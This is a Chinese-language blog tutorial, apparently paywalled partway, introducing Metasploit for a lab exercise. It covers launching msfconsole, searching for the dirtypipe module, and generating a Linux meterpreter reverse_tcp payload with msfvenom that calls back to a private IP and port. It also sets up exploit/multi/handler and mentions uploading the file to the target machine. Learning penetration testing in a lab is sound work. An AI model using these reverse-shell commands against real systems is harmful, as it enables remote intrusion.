导语
为什么要把Metasploit渗透测试单独拎出来讲呢是因为这个工具在渗透测试过程中是一个比较重要的工具,主要想利用这个机会来记录一下Metasploit工具的使用。
Metasploit 渗透测试
Metasploit Framework (MSF) 是一个广泛使用的渗透测试工具,能够帮助安全专业人员发现和利用系统中的漏洞。
如果你还没有安装 Metasploit,可以通过以下方式安装:
- Kali Linux:Kali Linux 已经预装了 Metasploit。
- 其他 Linux 发行版:可以通过 Rapid7 的官方安装脚本进行安装。
- Windows:可以从 Rapid7 官网下载安装包。
启动 Metasploit
可以通过如下的命令来启动Metasploit
msfconsole

启动之后,接下来我们就来搜索一下上次我们找到的那个漏洞。
search dirtypipe

接下来查看一下命令选项有哪些?

从结果中来看,这个命令需要用到一个SESSION,并且这个SESSION是一个必填项。

接下来就需要我们用到Msfvenom工具。Msfvenom工具是msf用来生成payload的工具,使用msfvenom生成反向连接payloads,如下所示。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.132 lport=7777 -f elf >~/test.elf
- -p 指定payload(不确定靶机是x86/还是x64,可以生成32位payload,64位处理器兼容32位)
- lhost kali IP
- lport kali 端口
- -f 指定生成文件类型
- ~/test.elf 是在本机的路径
如何执行
首先在启动Metasploit之后,我们需要用到exploit/multi/handler 模块,如下所示。
use exploit/multi/handler

接下来就可以执行上面的命令了

执行完成之后,就会在当前目录下生成一个test.elf的文件,如下所示。

接下来,我们就可以将这个文件上传到靶机上。

最低0.47元/天 解锁文章
1013

被折叠的 条评论
为什么被折叠?



